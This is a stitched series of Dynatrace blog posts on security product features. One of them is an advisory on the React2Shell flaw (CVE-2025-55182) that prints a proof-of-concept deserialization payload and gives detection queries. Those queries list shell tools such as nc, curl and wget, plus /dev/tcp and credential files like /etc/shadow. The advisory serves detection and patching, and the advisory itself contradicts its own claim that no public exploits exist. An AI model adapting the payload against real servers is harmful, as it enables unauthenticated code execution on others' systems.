Let’s examine practical scenarios where Dynatrace enhances left-shifted security findings with runtime context, enabling environment-aware prioritization.

Practical scenarios: Elevate security with runtime context

1. Prioritize SAST findings in code
   Static scanners often detect thousands of vulnerabilities, many of which are irrelevant in production. Runtime context enables teams to prioritize vulnerabilities based on actual risk. For instance, critical severity vulnerabilities in non-executed code could be deprioritized, while medium-severity vulnerabilities exposed to the internet and near sensitive data become high priorities.
2. Prioritize container scanner findings
   Container scans often flag numerous vulnerabilities. Runtime context helps determine whether these issues truly impact production. For example, a critical vulnerability in a library that is never executed in production can be deprioritized, while containers not deployed in production can be addressed later.
3. Prioritize KSPM findings on clusters
   Post-deployment, runtime context helps identify which security issues in workload cluster components or configurations impact production services. Critical vulnerabilities with no direct impact on production can be deprioritized, letting teams focus on what matters most.
4. Prioritize cloud alerts and compliance findings
   Continuous assessment of cloud environments and prioritization of misconfigurations with the application insights reduces the noise from cloud alerts and help to remediate the most important issues first.

Ready to strengthen your security in production?

Explore how Dynatrace can integrate seamlessly into your DevSecOps processes providing application-level insights to security findings across the SDLC for smarter prioritization.

The post Strengthen production security: Bridge SDLC best practices with runtime validation appeared first on Dynatrace news.

Transform how you derive actionable insights from data

Have you ever struggled to make sense of a massive data set or turn raw data into actionable business insights? Investigations handles all this for you—and more—at the scale modern organizations demand.

Whether you’re troubleshooting API call throttling, debugging AWS integration issues, or accelerating root cause analysis, the Investigations app provides a flexible toolkit for exploring your data, allowing you to:

• Analyze large DQL results in their original form at a detailed level
• Maintain your entire investigation flow and historical queries in context via the query tree
• Perform complex investigations on data stored in Dynatrace Grail®
• Build DQL queries quickly and efficiently based on your findings
• Save and reuse evidence to refine queries and uncover answers
• Pivot your queries based on the metainformation attached to log records
• Analyze the observability metrics connected to your log sources

With Investigations, you can easily navigate through investigation history to review queries and results—streamlining incident response, accelerating root cause analysis, and delivering deeper contextual insights from your data.

Get started with practical use cases

As strong advocates of “learning by doing,” we understand you may be curious about how to start using the Investigations app more broadly. You don’t need to start from scratch—there are plenty of documented scenarios you can customize for your own purposes. To help you get started, explore these informative tutorials:

• Investigate API call throttling using DQL and Investigations
• Debug AWS Integration issues
• Creating faster filters for DQL queries to speed up any investigation

If threat hunting is more your style, you can start with these tutorial-style investigation challenges:

• Christmas hands-on: Who stole Santa’s secret file
• Valentine’s Day hands-on: Heartbeat failed

There are, of course, many more use cases to explore—Investigations can be used with any data in Grail: logs, events, metrics, traces, and even performance data.

Drive insights across all your data

Since its launch, the recently renamed Investigations app has been key to unlocking insights in Grail, allowing teams to analyze metrics alongside logs and connect traces during incident response—this is a game-changer for both security and observability. Over time, the capabilities of the Investigations app were extended well beyond security, supporting a wide range of analytical scenarios.

Despite the name change, all the app’s existing features, including application IDs, which are used in intents and in the browser address bar, remain unchanged, so no updates to integrations or bookmarks are needed. And the roadmap will continue to prioritize incident response and accelerations of investigations.

For ease of use, Investigations will remain listed under “Security” on the Dynatrace platform and in Dynatrace Hub.

For complete details, please see Investigations documentation.

Ready to get started?

Investigations is a built-in app available in all SaaS environments beginning with Dynatrace SaaS version 1.330. Best of all, this app requires no additional subscriptions or privileges—so you can start using it immediately without waiting for access permissions and unlock deeper insights for your business.

The post From incident response to everyday analytics: Introducing Dynatrace Investigations appeared first on Dynatrace news.

With advanced filtering, deduplication, and visualization, teams can reduce noise, compare results across tools, and integrate findings directly into dashboards and workflows, thereby accelerating remediation and improving their overall security posture.

The challenge of fragmented vulnerability data

As organizations adopt more security tools and operate across hybrid and cloud native environments, vulnerability data becomes increasingly fragmented. Security teams struggle to correlate findings, assess real impact, and prioritize remediation across disparate sources. Existing solutions often provide siloed views, lack integrations, have limited filtering and analytics capabilities, forcing teams into manual triage and slowing response time. Such complexity makes it difficult to gain meaningful insights, scale vulnerability management, automate workflows, and consistently reduce risk.

Empower security champions with unified findings and advanced filtering

Until recently, the Vulnerabilities app main view focused on Prioritization, featuring a display of stateful security problems, for example, specific CVEs or code issues affecting multiple process groups, along with a reachability assessment and the history of the problem.

Findings are the atomic building blocks behind these problems: individual security results tied to a specific issue, moment in time, and affected object.

With the new Findings tab, Dynatrace consolidates all vulnerability findings—whether from Dynatrace vulnerability detection or integrated tools—into a single, unified view. This allows analytics-ready data, precise filtering, segmentation, and cross-tool comparison, while empowering deeper insights and automation, all serving to accelerate remediation and improve your overall security posture.

Drill-downs and analytics based on atomic data

The new Vulnerability Findings feature delivers a unified, granular view of all security findings from Dynatrace and integrated tools. It simplifies vulnerability management by consolidating fragmented data, enabling faster root cause analysis, and supporting automation for remediation workflows. This improvement provides holistic visibility across environments, atomic-level detail for each finding, and analytics-ready data for advanced automation and security insights. Key capabilities include powerful filtering (by CVE, score, vulnerable component, severity, and remediation availability), deduplication to reduce noise, and interactive visual timelines for trend analysis.

Use cases

• Investigation: Security teams drilling down into specific findings for detailed investigation, viewing findings affecting a specific component, object or adhering to a specific CVE
• Comparison: Comparing vulnerabilities across multiple tools, affected objects and environments
• Automation: Quickly building dashboards and workflows for proactive monitoring and automated response: the Findings tab is Grail native and therefore easily integrates with other Dynatrace apps
• Targeted remediation: Segmenting findings by metadata (e.g., leveraging Primary Grail Fields like Kubernetes namespace) for targeted remediation

Upcoming enhancements will introduce flexible grouping features to make it even easier to grasp the value of vulnerability findings. You’ll be able to group findings by CVE, vulnerable component, or affected object for faster analysis and prioritization.

Get started

These enhancements for Vulnerabilities are available now for Dynatrace Platform Subscription (DPS) customers. If you’re new to Dynatrace and want to experience these powerful capabilities, you can try them out on the Dynatrace Playground.

Existing customers will automatically see these enhancements. Start exploring the Findings tab in Vulnerabilities today and gain a unified, granular view of your security findings. Reduce noise, prioritize risks with confidence, and accelerate remediation using powerful filtering and analytics-ready data.

Related resources

• Integrate vulnerability insights across Dynatrace and external apps
• Documentation: Vulnerabilities App
• Prioritize vulnerabilities based on the CISA Known Exploited Vulnerabilities Catalog
• Discover the new Dynatrace Runtime Vulnerability Analytics experience

The post Introducing findings in the Vulnerabilities app: Unified, granular insights for smarter security appeared first on Dynatrace news.

TL;DR:

A critical flaw in React’s Flight protocol (CVE-2025-55182) allows attackers to run code on servers using React Server Components. In short, if your organization uses React Server Components, Next.js, or related frameworks, attackers could potentially take control of your servers, making this a top priority for immediate action.

What’s at risk?

• Vulnerable: React Server Components, Next.js, React Router, Waku, and several related frameworks.
• Impacted: Any organization running affected versions in production.
• Exploits: Proof-of-concept code is publicly available and active scanning is underway.
• Remediation: Upgrade to patched versions now to prevent remote code execution.

Real-world scenario:

Imagine a production server running an unpatched version of Next.js. An attacker sends a crafted payload, triggering remote code execution, and gaining unauthorized access to your infrastructure. The window between disclosure and exploitation is shrinking—don’t wait to act.

Immediate steps:

• Audit your environment for affected frameworks (e.g. leveraging Dynatrace Runtime Vulnerability Analytics).
• Upgrade dependencies to patched versions.
• Use Dynatrace Runtime Vulnerability Analytics to verify remediation.
• Monitor continuously for new threats.

What is React2Shell (CVE-2025-55182)?

A critical vulnerability called React2Shell has been discovered in React’s Flight protocol that could allow attackers to execute arbitrary code on servers running React Server Components. CVE-2025-55182 affects multiple popular frameworks, including Next.js, React Router, and Waku, with exploitation possible under default configurations. While no verified public exploits exist yet, the severity and widespread nature of this vulnerability make immediate patching essential. Organizations using React Server Components should prioritize upgrading to patched versions to protect their applications from potential remote code execution attacks.

How to fix React2Shell vulnerability (CVE-2025-55182): patching guide

To address this vulnerability, it is recommended to upgrade to the patched versions of the affected packages.

Upgrade react-server-dom-* packages to one of the following versions, or higher:

• 19.0.1
• 19.1.2
• 19.2.1

Upgrade Next.js to one of the following versions, or higher:

• 15.0.5
• 15.1.9
• 15.2.6
• 15.3.6
• 15.4.8
• 15.5.7
• 16.0.7

Technical details of the React2Shell vulnerability

CVE-2025-55182 is an unsafe deserialization vulnerability in React’s Flight protocol, affecting server component payloads. This flaw allows attackers to craft malicious payloads that, when processed by the server, can lead to unauthenticated remote code execution. Exploitation is possible under the default configuration of several popular frameworks, making the vulnerability critical and widely exploitable.

Which React and Next.js versions are vulnerable?

The following packages are vulnerable to CVE-2025-55182 because they implement parts of React’s Flight protocol, which handles server component payloads and is the source of the unsafe deserialization flaw:

Frameworks that implement React Server Components and rely on these packages are also affected. These include: Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, and rwsdk.

The react and react-dom libraries are not impacted because they do not include the Flight protocol or any server-side component handling. Environments that render React exclusively on the client, or that do not integrate frameworks, bundlers, or plugins supporting React Server Components, remain outside the scope of this vulnerability.

The related vulnerability, CVE-2025-66478, was initially published for Next.js and marked as critical. It was later rejected and classified as a duplicate of CVE-2025-55182, because the root cause lies in Next.js depending on vulnerable React packages that implement the Flight protocol.

While the dependency link is correct, Next.js does not rely on the npm ecosystem to resolve these React Server Component packages. Instead, Next.js includes compiled versions of the react-server-dom-* packages directly in its repository. This means that upgrading React in isolation will not remediate the vulnerability for Next.js users because the vulnerable code is embedded within Next.js itself.

The following Next.js versions are affected:

What are the related RSC vulnerabilities?

On December 11, 2025, two additional vulnerabilities were discovered in React Server Components, affecting the react-server-dom-* and Next.js packages:

• Denial of Service – High Severity: CVE-2025-55184 and CVE-2025-67779
• Source Code Exposure – Medium Severity: CVE-2025-55183

For the Denial of Service vulnerability, there are two CVE numbers due to an incomplete fix for the first CVE.

We recommend updating the affected packages to the latest patch version, as outlined below:

Are there working exploits for React2Shell vulnerability?

Proof-of-concept exploits for React2Shell (CVE-2025-55182) have been developed and made publicly available. The vulnerability has also been added to the CISA Known Exploited Vulnerabilities (KEV) catalog, confirming active exploitation. Additionally, the vulnerability reporter has published several exploit variants on GitHub:

lachlan2k/React2Shell-CVE-2025-55182-original-poc.

const payload = { 
    '0': '$1', 
    '1': { 
        'status':'resolved_model', 
        'reason':0, 
        '_response':'$4', 
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}', 
        'then':'$2:then' 
    }, 
    '2': '$@3', 
    '3': [], 
    '4': { 
        '_prefix':'console.log(7*7+1)//', 
        '_formData':{ 
            'get':'$3:constructor:constructor' 
        }, 
        '_chunks':'$2:_response:_chunks', 
    } 
} 
  

The root cause of this vulnerability lies in how React’s Flight protocol processes incoming data. The data is processed as chunks, as seen above, which can reference each other, denoted by the $ symbols. The exploit takes advantage of this behavior along with a bug caused by missing attribute checks, which allows access to properties such as constructor. The fix for the attribute check can be seen in the patch here.

The crafted payload chains internal gadgets to create a Promise-like object with an attacker-controlled “.then” property. During deserialization, these Promise-like objects are automatically resolved, which results in code execution.

The vulnerability is actively being scanned in the wild, significantly increasing the risk for organizations running vulnerable versions of affected packages. Given the critical nature of React2Shell and the existence of working exploits, immediate remediation is strongly advised.

Detecting React2Shell (CVE-2025-55182) with Runtime Vulnerability Analytics

You can use Dynatrace Runtime Vulnerability Analytics to detect if vulnerable React Server Component packages or Next.js packages are present by filtering for CVE-2025-55182 in the app.

Bottom Line: If you’re running React Server Components or Next.js in production, review your dependencies immediately and upgrade to patched versions.

Searching for React2Shell vulnerable components (CVE-2025-55182) with DQL

You can also use Smartscape to manually search for vulnerable software components.

fetch dt.entity.software_component
  | fieldsAdd vulnerable =  if(in(entity.name, {
      "react-server-dom-parcel:19.0",
      "react-server-dom-parcel:19.1.0",
      "react-server-dom-parcel:19.1.1",
      "react-server-dom-parcel:19.2.0",
      "react-server-dom-webpack:19.0",
      "react-server-dom-webpack:19.1.0",
      "react-server-dom-webpack:19.1.1",
      "react-server-dom-webpack:19.2.0",
      "react-server-dom-turbopack:19.0",
      "react-server-dom-turbopack:19.1.0",
      "react-server-dom-turbopack:19.1.1",
      "react-server-dom-turbopack:19.2.0"
      }), true)

  // Make sure to check if the found next version is vulnerable   
  | fieldsAdd potentially_vulnerable = 
      startsWith(entity.name, "next:14.3.0") or
      startsWith(entity.name, "next:15") or
      startsWith(entity.name, "next:16")
 
  | filter
      vulnerable == true or
      potentially_vulnerable == true

Important note: When using this manual search method (as opposed to Runtime Vulnerability Analytics), you’ll need to:

• Manually and reactively search for affected versions whenever an incident occurs
• Work without the additional context and guidance that RVA provides, such as:
  • Davis Security Score
  • Public internet exposure analysis
  • Exploit availability information

How to detect React2Shell (CVE-2025-55182) exploitation activity

If you have logs containing process execution events, you can detect the common attack patterns (tactics, techniques, and procedures or TTPs) that adversaries use when exploiting vulnerabilities like CVE-2025-55182.

The Dynatrace platform can ingest data from any source that provides this information. The following example (with an alternate for Windows systems) uses Tetragon as the data source. By combining these logs with Smartscape attributes, you get full context for detecting exploitation activity—which helps reduce false positives and speeds up investigations.

// Adjust timeframe accordingly
fetch logs, 
  from: -14d,
  scanLimitGBytes: -1

// We use Tetragon as an example, any source for process execution could be used
| filter log.source == "Container Output"
| filter k8s.workload.name == "tetragon"
| parse content, "JSON:content"

// Filter on process start events
| filter isNotNull(content[process_exec])

// Add fields for further processing
| fieldsAdd k8s.pod.uid = content[process_exec][process][pod][uid]
| fieldsAdd process.parent.executable.path = content[process_exec][parent][binary]
| fieldsAdd process.parent.executable.name = splitString(process.parent.executable.path, "/")[-1]
| fieldsAdd process.executable.path = content[process_exec][process][binary]
| fieldsAdd process.executable.name = splitString(process.executable.path, "/")[-1]
| fieldsAdd process.cmd_line = concat(process.executable.path, " ", content[process_exec][process][arguments])
| fieldsRemove k8s.deployment.name

// Filter on node instances
| filter in(lower(process.parent.executable.name), {
    "node",
    "bun"
  })

// Filter for common shell processes
| filter in(lower(process.executable.name), {
    "ash",
    "bash",
    "bash-static",
    "busybox",
    "csh",
    "dash",
    "fish",
    "ksh",
    "lksh",
    "mksh",
    "mksh-static",
    "posh",
    "rksh",
    "rksh93",
    "sash",
    "static-sh",
    "sh",
    "tcsh",
    "yash",
    "zsh" 
  }) and iAny(contains(lower(process.cmd_line), array(
    "cat",
    "curl",
    "dig",
    "env",
    "head",
    "hostid",
    "hostname",
    "id",
    "ifconfig",
    "ip",
    "install",
    "less",
    "mkfifo",
    "more",
    "nc",
    "ncat",
    "netcat",
    "netstat",
    "nslookup",
    "perl",
    "ping",
    "pwd",
    "route",
    "socat",
    "shred",
    "ss",
    "stat",
    "tail",
    "tee",
    "uname",
    "wget",
    "who",
    "whoami",
    "/dev/tcp",
    "/dev/udp",
    "/etc/passwd",
    "/etc/shadow"
  )[], caseSensitive: false)) or in(lower(process.executable.name), {
    "cat",
    "curl",
    "dig",
    "env",
    "head",
    "hostid",
    "hostname",
    "id",
    "ifconfig",
    "ip",
    "install",
    "less",
    "mkfifo",
    "more",
    "nc",
    "ncat",
    "netcat",
    "netstat",
    "nslookup",
    "perl",
    "ping",
    "pwd",
    "route",
    "socat",
    "shred",
    "ss",
    "stat",
    "tail",
    "tee",
    "uname",
    "wget",
    "who",
    "whoami"
  })

// Get smartscape data for affected entity
| join [
    smartscapeNodes "K8S_POD"
],
on: { k8s.pod.uid },
kind: leftOuter,
fields: {
  k8s.node.name,
  k8s.namespace.name,
  k8s.workload.name,
  k8s.workload.kind,
  k8s.pod.name,
  id_classic
}

fetch logs
| filter winlog.eventid == "1"
| parse content, """
    LD CR LF
    'RuleName: 'LD:RuleName CR LF
    'UtcTime: 'LD:UtcTime CR LF
    'ProcessGuid:' LD:ProcessId CR LF
    'ProcessId: 'LD:PorcessId CR LF
    'Image: 'LD:Image CR LF
    'FileVersion: 'LD:FileVersion CR LF
    'Description: 'LD:Description CR LF
    'Product: ' LD:Product CR LF
    'Company: ' LD:Company CR LF
    'OriginalFileName: ' LD:OriginalFileName CR LF
    'CommandLine: ' LD:CommandLine CR LF
    'CurrentDirectory: ' LD:CurrentDirectory CR LF
    'User: ' LD:User CR LF
    'LogonGuid: ' LD:LogonGuid CR LF
    'LogonId: ' LD:LoginId CR LF
    'TerminalSessionId: ' LD:TerminalSessionId CR LF
    'IntegrityLevel: ' LD:IntegrityLevel CR LF
    'Hashes: ' LD:Hashes CR LF
    'ParentProcessGuid: ' LD:ParentProcessGuid CR LF
    'ParentProcessId: ' LD:ParentProcessId CR LF
    'ParentImage: ' LD:ParentImage CR LF
    'ParentCommandLine: ' LD:ParentCommandLine CR LF
    'ParentUser: ' LD:ParentUser
    """

| filter iAny(endsWith(ParentImage, array(
    "node.exe",
    "bun.exe")[], caseSensitive: false))
| filter iAny(contains(CommandLine, array(
    "-enc",
    "-EncodedCommand",
    "-w hidden",
    "-windowstyle hidden",
    "Test-NetConnection"
  )[], caseSensitive: false)) or in(lower(OriginalFileName), {
    "cmd.exe",
    "powershell.exe",
    "pwsh.exe",
    "arp.exe",
    "at.exe",
    "bash.exe",
    "bitsadmin.exe",
    "certutil.exe",
    "csript.exe",
    "dsget.exe",
    "dsquery.exe",
    "find.exe",
    "findstr.exe",
    "hostname.exe",
    "ipconfig.exe",
    "nbtstat.exe",
    "net.exe",
    "net1.exe",
    "netsh.exe",
    "netstat.exe",
    "nslookup.exe",
    "ntdsutil.exe",
    "reg.exe",
    "rundll32.exe",
    "sc.exe",
    "schtasks.exe",
    "systeminfo.exe",
    "tasklist.exe",
    "tracert.exe",
    "ver.exe",
    "wevtutil.exe",
    "whoami.exe",
    "wmic.exe",
    "wscript.exe"
  })

How to detect suspicious React2Shell (CVE-2025-55182) requests

Most React2Shell exploits work by sending special HTTP headers. 

• In Next.js apps, this header is next-action. 

• In other apps, it may be rsc-action-id. 

Some public exploit PoCs also exfiltrate data using query parameters during redirects. In Next.js, these values appear in the x-action-redirect response header. 

Capturing these headers with Dynatrace OneAgent

Dynatrace OneAgent can record these headers as custom request attributes. For setup and configuration instructions, go to Capture request attributes based on web request data.

Use the following settings: 

1. For next-action or rsc-action-id 
   1. Data source: HTTP request header 
   2. Capture on: Server side 
2. For x-action-redirect 
   1. Data source: HTTP response header 

We recommend setting multi-value capture to “All distinct values.” 

If real-time updates are disabled in Dynatrace, make sure to restart all affected processes so the changes can take effect. 

Capturing headers with OpenTelemetry

If you’re using OpenTelemetry instead of OneAgent, you can also capture the same request and response headers. (See: https://opentelemetry.io/docs/zero-code/java/agent/instrumentation/http/) 

Detect suspicious requests using DQL

In both cases, you can use the following DQL queries to fetch all the requests that use one of the relevant headers. 

fetch spans

// Filter for relevant spans coming from a nodejs agent or via OpenTelemetry,
// which are a server span for a POST request
| filter (dt.openpipeline.source == "oneagent" AND dt.agent.module.type == "nodejs") OR
    dt.openpipeline.source == "/api/v2/otlp/v1/traces"
| filter span.kind == "server"
| filter http.request.method == "POST"

// update the values on the right hand side to use the name of the request attribute configured
| fieldsRename request_attribute.next_action_header = `request_attribute.next-action header`
| fieldsRename request_attribute.rsc_action_id_header = `request_attribute.rsc-action-id header`
| fieldsRename request_attribute.x_action_redirect_header = `request_attribute.x-action-redirect header`

// Collect all spans with one of the relevant headers set
| filter
    isNotNull(`http.request.header.next-action`) OR
    isNotNull(request_attribute.next_action_header) OR
    isNotNull(`http.request.header.rsc-action-id`) OR
    isNotNull(request_attribute.rsc_action_id_header)

// Collect all unique action IDs from each request into a single field
| fieldsAdd action_id = arrayDistinct(
    arrayRemoveNulls(
      arrayConcat(
        array(
          `http.request.header.next-action`,
          `http.request.header.rsc-action-id`
        ),
        arrayFlatten(array(request_attribute.next_action_header)),
        arrayFlatten(array(request_attribute.rsc_action_id_header))
      )
    )
  )
| expand action_id

// Collect action redirect response header values
| fieldsAdd action_redirect = arrayDistinct(
    arrayRemoveNulls(
      arrayConcat(
        array(`http.response.header.x-action-redirect`),
        arrayFlatten(array(request_attribute.x_action_redirect_header))
      )
    )
  )

// Count usage for each action ID per process group
| summarize {
    count = count(),
    actor.ips = arrayDistinct(arrayRemoveNulls(collectDistinct(client.ip))),
    traces = collectDistinct(trace.id),
    action_redirects = arrayDistinct(arrayRemoveNulls(arrayFlatten(collectDistinct(action_redirect))))
  },
  by: {
    action_id,
    dt.entity.process_group
  }

| fieldsAdd dt.process_group.name = entityName(dt.entity.process_group)

Review the results for requests that use suspicious action IDs. Many public exploit PoCs set the next-action header to a static value, such as “x”.

You can also review the x-action-redirect header values for suspicious values.

Detecting Crypto Miners After React2Shell Exploitation

Attackers exploiting the React2Shell vulnerability commonly deploy cryptocurrency miners on compromised systems. These miners consume significant CPU resources, meaning an affected application or service will often show abnormally high CPU usage shortly after exploitation. 

To proactively hunt for this activity, you can correlate observability data (such as CPU metrics) with vulnerability data in a single DQL query. This approach helps identify workloads that are both: 

1. Vulnerable to React2Shell, and 
2. Exhibiting sudden or sustained CPU spikes consistent with crypto-mining behavior. 

Below is an example query pattern you can use. Adjust the metrics, thresholds, and entity types to fit your environment and detection strategy. 

timeseries sum(dt.kubernetes.container.cpu_usage, default: 0, rollup: sum, rate: 1m), nonempty: true, by:{dt.entity.container_group_instance}

| join [
    fetch dt.entity.software_component
      | fieldsAdd vulnerable =  if(in(entity.name, {
          "react-server-dom-parcel:19.0",
          "react-server-dom-parcel:19.1.0",
          "react-server-dom-parcel:19.1.1",
          "react-server-dom-parcel:19.2.0",
          "react-server-dom-webpack:19.0",
          "react-server-dom-webpack:19.1.0",
          "react-server-dom-webpack:19.1.1",
          "react-server-dom-webpack:19.2.0",
          "react-server-dom-turbopack:19.0",
          "react-server-dom-turbopack:19.1.0",
          "react-server-dom-turbopack:19.1.1",
          "react-server-dom-turbopack:19.2.0"
          }), true)
    
    // Make sure to check if the found next version is vulnerable   
    | fieldsAdd potentially_vulnerable = 
        startsWith(entity.name, "next:14.3.0") or
        startsWith(entity.name, "next:15") or
        startsWith(entity.name, "next:16")
    
    | filter
        vulnerable == true or
        potentially_vulnerable == true
    
    | fieldsAdd dt.entity.process_group_instance = belongs_to[dt.entity.process_group_instance]
    | expand dt.entity.process_group_instance

    | join [
       fetch dt.entity.process_group_instance
      | fieldsAdd dt.entity.container_group_instance = belongs_to[dt.entity.container_group_instance]   
    ],
    on: { left[dt.entity.process_group_instance] == right[id]},
    fields: { dt.entity.container_group_instance }
], 
on: { dt.entity.container_group_instance }

Take action now

CVE-2025-55182 poses a critical threat to organizations using React Server Components in production, as public exploits are already available and actively being used.

Here’s what you should do immediately:

1. Audit your environment. Identify all applications using React Server Components, Next.js, or related frameworks.
2. Upgrade dependencies. Apply the patched versions listed in the mitigation section above.
3. Verify remediation. Use Dynatrace Runtime Vulnerability Analytics or similar tools to confirm vulnerable packages have been eliminated.
4. Monitor continuously. Implement ongoing vulnerability scanning to catch issues before they become incidents.

The combination of critical severity, default exploitability, and widespread framework adoption makes this vulnerability a top priority for security and development teams. Take action today to protect your applications and infrastructure.

The post CVE-2025-55182: React2Shell Critical Vulnerability — what it is and what to do appeared first on Dynatrace news.

At Dynatrace, we believe you shouldn’t have to fix every cloud misconfiguration—rather, we believe you should focus on the ones that matter to your production environments. That’s why we’ve integrated Dynatrace with AWS Security Hub and Kiro CLI to streamline triaging and remediation of critical findings, focusing efforts where they count most.

The challenge in managing complex cloud environments

Modern cloud environments are complex with many moving parts and constant change. Whether initially misconfigured or affected by configuration drift, these environments pose a compliance issue and a significant security threat if exploited by malicious actors. Depending on the scale and composition of your environments, you may end up with thousands of misconfigurations that need to be addressed. Or do they?

AWS provides native services, such as AWS Security Hub, that help detect misconfigurations in your cloud environments. Such misconfigurations are often referred to as compliance findings. Many of the findings might not pose an immediate threat to production systems. AWS Security Hub’s latest capabilities, such as Exposure findings, already help a lot in distilling the most critical findings.

Is it possible to get additional validation of findings with deeper context into your production services and applications? That would help you understand which findings affect your crown jewels and prioritize their remediation over other issues.
And is it possible to automate this process, thereby reducing human intervention and the required deep understanding of the complex environments?

This is a modern dilemma for SREs and security teams: how to prioritize remediation without compromising operational integrity or wasting valuable resources on non-critical issues.

Context-aware remediation with Dynatrace and Kiro CLI

The Dynatrace® AI-powered observability platform monitors your applications and has all the runtime insights required to help organizations navigate through thousands of compliance findings and use the runtime context to prioritize them. Dynatrace’s Model Context Protocol (MCP) server exposes this deep runtime context to automation and agentic AI-driven workflows.

The Kiro CLI allows interaction with specialized AI agents and AWS native capabilities using MCP servers. It serves as the SRE assistant, possessing knowledge of all connected products and the ability to remediate issues.

To further streamline and connect the dots, Dynatrace integrates with AWS Security Hub, supporting the latest OCSF (Open Cybersecurity Schema Format). This allows SREs to fine-tune the triaging and enrichment to their particular needs, leveraging Dynatrace Workflows as the automation engine.

In the next section, we present a use case with two scenarios that demonstrate how detection, triage, and remediation of cloud misconfiguration were made more efficient using Dynatrace and the latest AWS advances in automation and AI domains.

Intelligent triage in action

This use case starts with compliance findings, detected by AWS Security Hub. In the first scenario, an SRE retrieves critical findings using the Kiro CLI and verifies them with Dynatrace using the Dynatrace remote MCP server, which is connected to a dedicated Kiro custom agent.

In the second scenario, the initial validation is automated with Dynatrace Workflows and supported by the AWS Security Hub integration. The validated findings are then sent to a Jira ticket, which can be picked up later by the SRE directly from the Kiro CLI.

By combining Dynatrace deep observability with Kiro CLI intelligent automation, teams gain the ability to triage findings based on actual runtime impact. Instead of treating every misconfiguration as equally urgent, this solution helps prioritize those misconfigurations that pose real risks to business-critical applications. This not only reduces alert fatigue but also ensures that remediation efforts are focused, efficient, and aligned with operational priorities.

The result? A streamlined security posture that’s proactive rather than reactive. Teams can move faster, reduce manual overhead, and maintain a higher level of confidence in their cloud infrastructure while keeping production safe and stable.

Scenario 1: Kiro CLI-driven validation with Dynatrace MCP

In this scenario, an SRE interacts with Kiro CLI to perform validation and remediation actions with the help of Dynatrace MCP.

1. Detection: AWS Security Hub identifies cloud misconfigurations.
2. Verification
   • An SRE interacts with the Kiro CLI to extract top findings.
   • The Dynatrace agent, invoked by the Kiro CLI, utilizes the Dynatrace MCP server to verify whether these findings impact production applications.
3. Remediation
   • SRE remediates confirmed findings via Kiro CLI; others are suppressed.
   • Findings are resolved and verified in AWS Security Hub.

Scenario 2: Dynatrace-driven automated triaging and Kiro CLI remediation

In this scenario, initial validation and triage are automated in Dynatrace Workflows, and the SRE then acts on the Jira tickets to perform assisted remediation using the Kiro CLI.

1. Detection: AWS Security Hub identifies cloud misconfigurations.
2. Verification
   • AWS Security Hub integration ingests findings into Dynatrace.
   • A Dynatrace workflow analyzes new critical/high-risk findings and performs the automated verification using the Davis CoPilot® workflow action.
3. Remediation:
   • A Jira ticket is created automatically with the summary of the verification results.
   • An SRE uses Kiro CLI to act on the Jira findings. Confirmed findings are remediated, while the unconfirmed findings can be suppressed.
   • Findings are resolved in AWS Security Hub and are no longer in the top findings dashboard in Dynatrace.

What’s next

As AI footprint growth and capabilities evolve, the collaboration between AWS and Dynatrace will extend to additional use cases for agentic AI workflows and observability-context-supported issue remediation. One such example is covered in this recent blog post.

In this blog post, we demonstrated how the Dynatrace remote MCP server can be integrated with Kiro CLI for SRE use cases. Stay tuned as the collaboration extends to additional use cases that help development teams remediate vulnerabilities and performance issues directly from their IDEs.

Get started

To get started, learn more about Dynatrace MCP and sign up for the preview to experience how real-time production context makes your organization more efficient.

For details on how to set this up, refer to Dynatrace documentation.

The post Smarter cloud security with Dynatrace and Kiro CLI appeared first on Dynatrace news.

DevSecOps teams often operate with fragmented tools and data, as code and dependencies are analyzed during coding and at build time, while runtime risks typically surface later in production. Without a unified, contextualized view, teams face alert fatigue and misaligned priorities, focusing on issues that might not impact customer-facing services while potentially overlooking those that do.

SonarQube provides in-depth, integrated code quality and security analysis within CI pipelines across a wide range of programming languages, which is essential for early detection of code issues and vulnerabilities. With its in-depth analysis of code issues and tight integration with development tools, SonarQube provides all the necessary information for addressing and remedying discovered issues.

Nevertheless, should dev teams fix all discovered issues? How can they determine which vulnerabilities to prioritize? Additional context is required to prioritize remediation efforts intelligently and efficiently.

Dynatrace puts your security and quality findings into context

Dynatrace provides deep insights into application runtime, offering a detailed view of application performance and the runtime impact of potential issues.

The Dynatrace integration with SonarQube Cloud and SonarQube Server unifies and contextualizes security and quality findings across the SDLC. Ingested findings can be uniformly prioritized across tools and environments. Remediation efforts are automatically orchestrated to notify relevant stakeholders and trigger remediation processes. Additionally, during processing, findings can be mapped to monitored runtime entities to evaluate their impact on production environments.

Dynatrace delivers SonarQube integration as an extension that allows granular control over the data flow between SonarQube and the Dynatrace® platform.

SonarQube security and quality findings, alongside the audit logs, are ingested via OpenPipeline®, transformed into a unified Dynatrace semantic dictionary data format, and stored in Dynatrace Grail®. From there, teams can leverage Dynatrace-native applications, such as Dashboards, Notebooks, Site Reliability Guardian, Workflows, and Security Investigator, to visualize, process, and automate remediation of the issues with precision—reducing noise and focusing on vulnerabilities that truly impact running applications.

Users can use ready-made dashboards delivered with the integration to visualize and analyze the findings.

What’s next

We’ll continue to streamline the operationalization of third-party findings, such as those from SonarQube, across native Dynatrace® Apps. Our goal is to surface externally ingested findings more broadly so teams can triage and remediate them from a single platform.

Get started today

Visit our documentation for security events ingestion to explore the full range of Dynatrace platform integrations with various DevSecOps security products.

For full details on the prerequisites and steps for setting up the SonarQube integration, please refer to Ingest SonarQube security and quality events, metrics, and audit logs.

The post Ingest and enrich SonarQube security and quality findings with Dynatrace appeared first on Dynatrace news.

We’re excited to announce that Dynatrace has been recognized as a Cloud Security Innovator in the Latio Pulse 2025 Cloud Security Market Report, authored by James Berthoty. This recognition validates the Dynatrace approach to bridging observability and security, and underscores our commitment to providing the runtime visibility and application-layer insights that modern cloud security demands.

Why we love this recognition

The cloud security landscape is undergoing a fundamental shift. According to the Latio report, traditional Cloud Native Application Protection Platforms (CNAPP) are evolving into more specialized categories, and runtime visibility is at the heart of this transformation.

The report highlights a critical insight: “Report after report has indicated that most cloud breaches are now beginning with web application attacks.” This validates what Dynatrace has been building toward for a while now: a Cloud Application Detection and Response (CADR) solution that understands applications at runtime, not just infrastructure in isolation.

As the report states, teams increasingly need “visibility into the application layer” to allow “meaningful runtime protection in the cloud.” And this is exactly where Dynatrace excels.

The application layer: Cloud security’s missing piece

